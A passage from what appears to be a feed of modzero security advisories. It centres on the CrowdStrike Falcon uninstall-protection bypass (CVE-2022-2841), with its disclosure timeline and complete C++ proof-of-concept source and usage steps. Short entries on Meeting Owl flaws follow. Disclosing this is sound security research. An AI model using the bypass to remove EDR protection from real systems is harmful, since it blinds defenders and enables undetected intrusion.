</span></span><span class="line"><span class="cl">2022/06/13 - modzero told CS  that we need a little bit  more time to
</span></span><span class="line"><span class="cl">             finish and double check everything before submitting.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept
</span></span><span class="line"><span class="cl">             exploit sourcecode, executable and a Screencast video of
</span></span><span class="line"><span class="cl">             the PoC to CS.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/29 - CS  told  us,  that  we   were  testing  using  only  an
</span></span><span class="line"><span class="cl">             unsupported  version of  the Falcon  Sensor. CS  told us
</span></span><span class="line"><span class="cl">             about the  error message and  that they are not  able to
</span></span><span class="line"><span class="cl">             reproduce.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/05 - modzero told  CS that the  error message can  be ignored
</span></span><span class="line"><span class="cl">             and refered  to the  PoC screencast video. We also asked
</span></span><span class="line"><span class="cl">             for a recent (14-day trial)  version of Falcon Sensor to
</span></span><span class="line"><span class="cl">             provide reliable information if  the most recent version
</span></span><span class="line"><span class="cl">             is still vulnerable or not.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/05 - CS answered: &#34;We  do not provide trial  licenses as part
</span></span><span class="line"><span class="cl">             of this  process, however having  tested the PoC  on our
</span></span><span class="line"><span class="cl">             end with  a modern sensor this  does not appear to  be a
</span></span><span class="line"><span class="cl">             valid issue.&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/05 - modzero  announced publishing  the advisory  and exploit
</span></span><span class="line"><span class="cl">             code by end  of week, asking if the quote  of CS &#34;Having
</span></span><span class="line"><span class="cl">             tested the PoC on our end with a modern sensor this does
</span></span><span class="line"><span class="cl">             not  appear to  be a  valid issue&#34;  can be  used in  our
</span></span><span class="line"><span class="cl">             report.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/06 - CS asking for a  meeting between modzero&#39;s Sr Leadership
</span></span><span class="line"><span class="cl">             and CS to  discuss next steps related to  the bug bounty
</span></span><span class="line"><span class="cl">             disclosure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/07 - modzero, again,  told CS, that we  are not participating
</span></span><span class="line"><span class="cl">             in any bug  bounty program and that there is  no need to
</span></span><span class="line"><span class="cl">             discuss NDAs or bug bounty programs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/08/12 - modzero managed to acquire a recent version (6.42.15610)
</span></span><span class="line"><span class="cl">             of CrowdStrike  Falcon and verified, that  the attack is
</span></span><span class="line"><span class="cl">             still  possible. Furthermore,  modzero figured  out that
</span></span><span class="line"><span class="cl">             the  vulnerability  (that  was rejected  by  CrowdStrike
</span></span><span class="line"><span class="cl">             first) has  been silently fixed:  The PoC that  has been
</span></span><span class="line"><span class="cl">             sent  to  CrowdStrike  was  flagged  as  malicious.  The
</span></span><span class="line"><span class="cl">             msiexec  call of  the  deinstaller was  also flagged  as
</span></span><span class="line"><span class="cl">             malicious.  Both &#34;countermeasures&#34;  can be  circumvented
</span></span><span class="line"><span class="cl">             easily, we updated the exploit accordingly.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/08/22 - modzero   publishes   Security  Advisory   and   exploit
</span></span><span class="line"><span class="cl">             code,  because  CrowdStrike  was  unwilling  to  set  up
</span></span><span class="line"><span class="cl">             a  cooperative  information  exchange outside  of  their
</span></span><span class="line"><span class="cl">             NDA-ridden bug bounty program to discuss vulnerabilities
</span></span><span class="line"><span class="cl">             in their products.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: CrowdStrike
</span></span><span class="line"><span class="cl">Homepage: https://www.crowdstrike.com/endpoint-security-products/falcon-endpoint-protection-enterprise/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Error Class:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* CWE-691: Insufficient Control Flow Management
</span></span><span class="line"><span class="cl">(https://cwe.mitre.org/data/definitions/691.html)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  code  does  not  sufficiently manage  its  control  flow  during
</span></span><span class="line"><span class="cl">execution,  creating conditions  in  which the  control  flow can  be
</span></span><span class="line"><span class="cl">modified in unexpected ways.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Products known to be affected:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* CrowdStrike Falcon (6.31.14505.0)
</span></span><span class="line"><span class="cl">* CrowdStrike Falcon (6.42.15610)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Please note: Other versions might be affected as
</span></span><span class="line"><span class="cl">well, but were not tested by modzero.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CVE-ID: CVE-2022-2841
</span></span><span class="line"><span class="cl">Severity: Medium/4.4 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
</span></span><span class="line"><span class="cl">Vendor: CrowdStrike
</span></span><span class="line"><span class="cl">Product: CrowdStrike Falcon
</span></span><span class="line"><span class="cl">Version: 6.42.15610
</span></span><span class="line"><span class="cl">Attack type: Local
</span></span><span class="line"><span class="cl">Affected Components: Uninstall Protection
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CrowdStrike  Falcon is  a cloud-native  antivirus (AV)  and  endpoint
</span></span><span class="line"><span class="cl">detection and response (EDR) solution for end-devices. A sensor agent
</span></span><span class="line"><span class="cl">is deployed on each end-device,  which are then managed and connected
</span></span><span class="line"><span class="cl">with a cloud monitoring system.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The &#34;Uninstall Protection&#34;  feature allows to  lock down devices  and
</span></span><span class="line"><span class="cl">prevent  device users,  including administrators,  from removing  the
</span></span><span class="line"><span class="cl">sensor agent without a one-time, device-specific maintenance token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">During  a  security  analysis modzero  was  required  to uninstall  a
</span></span><span class="line"><span class="cl">CrowdStrike  Falcon  Sensor  installation  on  a  Windows workstation
</span></span><span class="line"><span class="cl">without having access to the maintenance token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After analysing the  software removal procedure,  it was possible  to
</span></span><span class="line"><span class="cl">develop  an  automated  proof of  concept  tool,  which corrupts  the
</span></span><span class="line"><span class="cl">CrowdStrike Falcon Sensor removal process. As a result, the procedure
</span></span><span class="line"><span class="cl">ignores the maintenance token check.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This allows an  attacker with administrator  rights to uninstall  and
</span></span><span class="line"><span class="cl">stop  the CrowdStrike  Falcon Sensor  and its  corresponding  Windows
</span></span><span class="line"><span class="cl">services without a valid token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An attacker with administrative access  to a machine, can bypass  the
</span></span><span class="line"><span class="cl">&#34;Uninstall Protection&#34; of the CrowdStrike Falcon Sensor.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The   attack   removes   the   software,   leaving   the  CrowdStrike
</span></span><span class="line"><span class="cl">administrator  in  the  dark  about  potential  attacks  on  the  now
</span></span><span class="line"><span class="cl">unprotected endpoint.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This is particularly  undesirable, given that this is a  cloud-native
</span></span><span class="line"><span class="cl">service where customers expect alerts for security-related actions.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">5. Proof of Concept
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following proof of concept code allows an administrator to remove
</span></span><span class="line"><span class="cl">the CrowdStrike Falcon Sensor without maintenance token:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// CrowdStrike Falcon Sensor
</span></span><span class="line"><span class="cl">// De-Installation Auth-Bypass Proof-of-Concept
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// Falcon Sensor is installed with an uninstall protection, to prevent unauthorized administrators
</span></span><span class="line"><span class="cl">// from removing Falcon Sensor. The following Proof-of-Concept exploit allows to bypass the
</span></span><span class="line"><span class="cl">// uninstall protection (token check). This can be used to remove the endpoint&#39;s EDR and AV protection.
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// References:
</span></span><span class="line"><span class="cl">// - modzero MZ-22-02 Security Advisory
</span></span><span class="line"><span class="cl">// - CVE: CVE-2022-2841
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// Version: 0.3
</span></span><span class="line"><span class="cl">// Secrecy: CONFIDENTIAL
</span></span><span class="line"><span class="cl">// Copyright 2022, modzero AG, Wartstr. 20, 8400 Winterthur, Switzerland
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// Usage example:
</span></span><span class="line"><span class="cl">//   .\CSFalconTokenBypass.exe &#39;C:\ProgramData\Package Cache\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}v6.XX.XX.0\CsAgent.LionLanner.msi&#39;
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#pragma once
</span></span><span class="line"><span class="cl">#define _CRT_SECURE_NO_WARNINGS
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#include &lt;windows.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;stdio.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;tchar.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;psapi.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;list&gt;
</span></span><span class="line"><span class="cl">#include &lt;iostream&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">std::list&lt;int&gt; g_msiexec_instances = {};
</span></span><span class="line"><span class="cl">int g_msiexec_instance_count = 0;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">void CheckProcess(DWORD process_id)
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    TCHAR process_name[MAX_PATH] = { 0 };
</span></span><span class="line"><span class="cl">    HANDLE h_proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (nullptr != h_proc) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        HMODULE h_mod = 0;
</span></span><span class="line"><span class="cl">        DWORD c_need = 0;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        if (EnumProcessModules(h_proc, &amp;h_mod, sizeof(h_mod), &amp;c_need)) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            GetModuleBaseName(h_proc, h_mod, process_name,
</span></span><span class="line"><span class="cl">                sizeof(process_name) / sizeof(char));
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    } else {
</span></span><span class="line"><span class="cl">        return;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    if (wcsstr(_wcslwr(process_name), __T(&#34;msiexec&#34;))) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        bool already_found = (
</span></span><span class="line"><span class="cl">            std::find(
</span></span><span class="line"><span class="cl">                g_msiexec_instances.begin(),
</span></span><span class="line"><span class="cl">                g_msiexec_instances.end(),
</span></span><span class="line"><span class="cl">                process_id) != g_msiexec_instances.end()
</span></span><span class="line"><span class="cl">            );
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        if (!already_found) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            g_msiexec_instance_count++;
</span></span><span class="line"><span class="cl">            std::cout &lt;&lt; &#34;[+] Installer spawned process: &#34; &lt;&lt; process_id &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            g_msiexec_instances.push_front(process_id);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            // If it&#39;s the third process, we try to kill it to produce open MSIHandles.
</span></span><span class="line"><span class="cl">            // This will break the uninstaller token check.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            if (g_msiexec_instance_count == 4 || g_msiexec_instance_count == 5) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                std::cout &lt;&lt; &#34;[+] Killing process: &#34; &lt;&lt; process_id &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                if (!TerminateProcess(h_proc, 123)) {
</span></span><span class="line"><span class="cl">                    std::cout &lt;&lt; &#34;[!] Failed to kill process with PID &#34; &lt;&lt; process_id &lt;&lt; &#34;: &#34; &lt;&lt; GetLastError() &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">                }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                if (g_msiexec_instance_count == 5) {
</span></span><span class="line"><span class="cl">                    std::cout &lt;&lt; &#34;[+] Uninstall Protection should be bypassed.&#34; &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">                    exit(0);
</span></span><span class="line"><span class="cl">                }
</span></span><span class="line"><span class="cl">            }
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    CloseHandle(h_proc);
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">int main(int argc, char* argv[])
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    DWORD proc_ids[1024] = { 0 };
</span></span><span class="line"><span class="cl">    DWORD c_need = 0;
</span></span><span class="line"><span class="cl">    DWORD c_procs = 0;
</span></span><span class="line"><span class="cl">    DWORD i = 0;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (argc != 2) {
</span></span><span class="line"><span class="cl">        std::cout &lt;&lt; &#34;Usage:&#34; &lt;&lt; std::endl &lt;&lt; argv[0] &lt;&lt; &#34; PATH_TO_CsAgent.LionLanner.msi&#34; &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">        return 1;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // increase priority to realtime and start uninstall
</span></span><span class="line"><span class="cl">    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    std::string path = std::string(argv[1]);
</span></span><span class="line"><span class="cl">    unsigned first = path.find(&#34;{&#34;);
</span></span><span class="line"><span class="cl">    unsigned last = path.find_last_of(&#34;}&#34;);
</span></span><span class="line"><span class="cl">    std::string guid = path.substr (first,last-first+1);
</span></span><span class="line"><span class="cl">    std::string cmd = &#34;start msiexec /x &#34; + guid;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    system(cmd.c_str());
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // now listen for processes popping up
</span></span><span class="line"><span class="cl">    while (1) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        if (!EnumProcesses(proc_ids, sizeof(proc_ids), &amp;c_need)) {
</span></span><span class="line"><span class="cl">            std::cout &lt;&lt; &#34;[-] Failed to read processes.&#34; &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">            return 1;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        c_procs = c_need / sizeof(DWORD);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        // Check every process ID
</span></span><span class="line"><span class="cl">        for (i = 0; i &lt; c_procs; i++) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            if (proc_ids[i] != 0) {
</span></span><span class="line"><span class="cl">                CheckProcess(proc_ids[i]);
</span></span><span class="line"><span class="cl">            }
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    return 0;
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">To use the Proof  of Concept, the code  must be compiled with  Visual
</span></span><span class="line"><span class="cl">Studio,    and    be    run    as    administrator,    pointing    to
</span></span><span class="line"><span class="cl">`CsAgent.LionLanner.msi` as argument e.g.:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.\CSFalconTokenBypass.exe &#39;C:\ProgramData\Package Cache\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}v6.XX.XX.0\CsAgent.LionLanner.msi&#39;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After executing it, the software removal procedure starts and a popup
</span></span><span class="line"><span class="cl">with an error message, that the  token is invalid will show up. After
</span></span><span class="line"><span class="cl">closing the  popup,  the uninstallation  continues and removes
</span></span><span class="line"><span class="cl">all components.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">6. Fix
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- n/a
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">7. Credits
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  * Pascal Zenker (parzel) of modzero
</span></span><span class="line"><span class="cl">  * Max Moser (mmo) of modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">8. About modzero
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent  Swiss-German  company  modzero assists  clients with
</span></span><span class="line"><span class="cl">security analysis  in the complex  areas of computer  technology. The
</span></span><span class="line"><span class="cl">focus  lies on  highly  detailed  technical  analysis  of   concepts,
</span></span><span class="line"><span class="cl">software  and  hardware  components as  well as  the  development  of
</span></span><span class="line"><span class="cl">individual  solutions.  Colleagues  at  modzero work  exclusively  in
</span></span><span class="line"><span class="cl">practical, highly  technical computer-security  areas and can draw on
</span></span><span class="line"><span class="cl">decades of  experience  in various  platforms,  system concepts,  and
</span></span><span class="line"><span class="cl">designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com contact@modzero.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero follows coordinated disclosure practices described here:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This policy  should  have been  sent to  the vendor  along with  this
</span></span><span class="line"><span class="cl">security advisory.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">9. Disclaimer
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information  in the advisory  is believed  to be accurate  at the
</span></span><span class="line"><span class="cl">time of publishing based  on currently available  information. Use of
</span></span><span class="line"><span class="cl">the information constitutes acceptance for use in an AS IS condition.
</span></span><span class="line"><span class="cl">There are no  warranties  concerning  this  information. Neither  the
</span></span><span class="line"><span class="cl">author  nor the  publisher  accepts  any liability  for  any  direct,
</span></span><span class="line"><span class="cl">indirect, or  consequential  loss or  damage  arising from  using, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-22-01] Meeting Owl</title><link>https://modzero.com/en/advisories/mz-22-01-meeting-owl/</link><pubDate>Tue, 31 May 2022 10:00:00 +0200</pubDate><author>Christoph Wolff, Joel Gunzenreiner, Katharina Männle, Max Moser, Pascal Zenker, Thorsten Schröder</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-22-01-meeting-owl/</guid><description>Several critical security issues in the Owl Lab&amp;rsquo;s Meeting Owl product universe</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/meetingowl/Meeting_Owl_Pro_Security_Disclosure_Report_RELEASE.pdf">here</a>, an overview of the vulnerabilities is given in our <a href="https://modzero.com/en/blog/hoot-hoot-pwn/">blog post</a>.</p>
]]></content:encoded></item><item><title>Hoot Hoot Pwn</title><link>https://modzero.com/en/blog/hoot-hoot-pwn/</link><pubDate>Tue, 31 May 2022 10:00:00 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/hoot-hoot-pwn/</guid><description>As part of an analysis of video conference solutions for a customer, we examined the Meeting Owl.</description><content:encoded><![CDATA[<p>As part of an analysis of video conference solutions for a customer, we
examined the <a href="https://owllabs.com/">Meeting Owl</a>. The Meeting Owl is a
smart, owl-shaped 360-degree video conference camera that is intended
for use in companies and educational institutions.</p>
<figure>
<img src="/static/meetingowl/Eule_Product_Image.png"
alt="Produkt Bild" />
<figcaption>Meeting Owl Pro. Source: <a
href="https://owllabs.de/products/meeting-owl-pro">https://owllabs.de/products/meeting-owl-pro</a></figcaption>
</figure>
<p>To use the owl, it must be connected to a computer via USB.
Additionally, an app for iOS and Android, as well as a web interface for
configuration and administration is provided. Although the device made a
good first impression due to its appealing design and usability, the
analysis <strong>revealed serious defects in the built-in security
mechanisms.</strong></p>
<h2 id="find-meeting-owls-near-you">Find Meeting Owls near you!!</h2>
<p>By exploiting the vulnerabilities we found during our analysis, an
attacker can <strong>find registered devices, their data, and owners</strong> from
around the world. Attackers can also access <strong>confidential screenshots
of whiteboards</strong> or use the Owl to get access <strong>to the owner's
network</strong>. The <strong>PIN protection</strong>, which protects the Owl from
unauthorized use, can be circumvented by an attacker by (at least)
<strong>four different approaches</strong>.</p>
<figure>
<img src="/static/meetingowl/map.png" height="480"
alt="owl distribution map" />
<figcaption>Some real Meeting Owl device locations across the
world.</figcaption>
</figure>
<p>The map above was generated based on publicly available data which was
also disclosed to Owl Labs.</p>
<figure>
<img src="/static/meetingowl/whiteboard-sample.png" height="480"
alt="Whiteboard Image" />
<figcaption>One of many whiteboard recordings that we were able to
access via the Internet.</figcaption>
</figure>
<p>The details of these and other security vulnerabilities can be found in
our detailed <a href="/static/meetingowl/Meeting_Owl_Pro_Security_Disclosure_Report_RELEASE.pdf">report
(PDF)</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>According to our analysis described above, the <em>Meeting Owl</em> is
currently everything but safe.</p>
<p>After we reported the weaknesses to the manufacturer, we only got
feedback after contacting the American Cybersecurity and Infrastructure
Security Agency, <a href="https://www.cisa.gov/">CISA</a>. However, expanding your
infrastructure with startup-technology may put your information security
at risk. Sometimes it is useful, to examine the new technologies first
before they are used in private and critical environments. Without such
an assessment, unnoticed security risks can occur to the corporate or
private network and its systems.</p>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<p>On <strong>01/19/2022</strong> we tried to contact the security officers at Owl Labs
for the first time, unfortunately without success. On <strong>02/01/2022</strong> we
tried again. Furthermore, on <strong>02/09/2022</strong> we contacted the German
Bundesamt für Sicherheit in der Informtionstechnik (BSI) for further
clarification with the American authority CISA. We received an answer
from Owl Labs on <strong>02/17/2022</strong>, after reporting to CISA.
After we asked for a timeline or roadmap, Owl Labs told us on
<strong>03/14/2022</strong>, that they will roll out updates starting next week, and
that all vulnerabilities will be remediated by mid-May.
Until today, several update have been published by Owl Labs. According
to a quick inspection, there are still open security issues and
weaknesses, thus we postpone the release of our tools for another four
weeks.</p>
<p>Our disclosure policy has been submitted to Owl Labs and is available
<a href="https://modzero.com/static/modzero_Disclosure_Policy.pdf">here (PDF)</a>.</p>
]]></content:encoded></item><item><title>[MZ-21-02] Trend Micro Deep Security Agent for Linux</title><link>https://modzero.com/en/advisories/mz-21-02-trend-micro-deep-security-agent/</link><pubDate>Wed, 19 Jan 2022 00:00:00 +0200</pubDate><author>Fluepke</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-21-02-trend-micro-deep-security-agent/</guid><description>Local privilege escalation and directory traversal vulnerabilities discovered in the Trend Micro Deep Security Agent for Linux</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
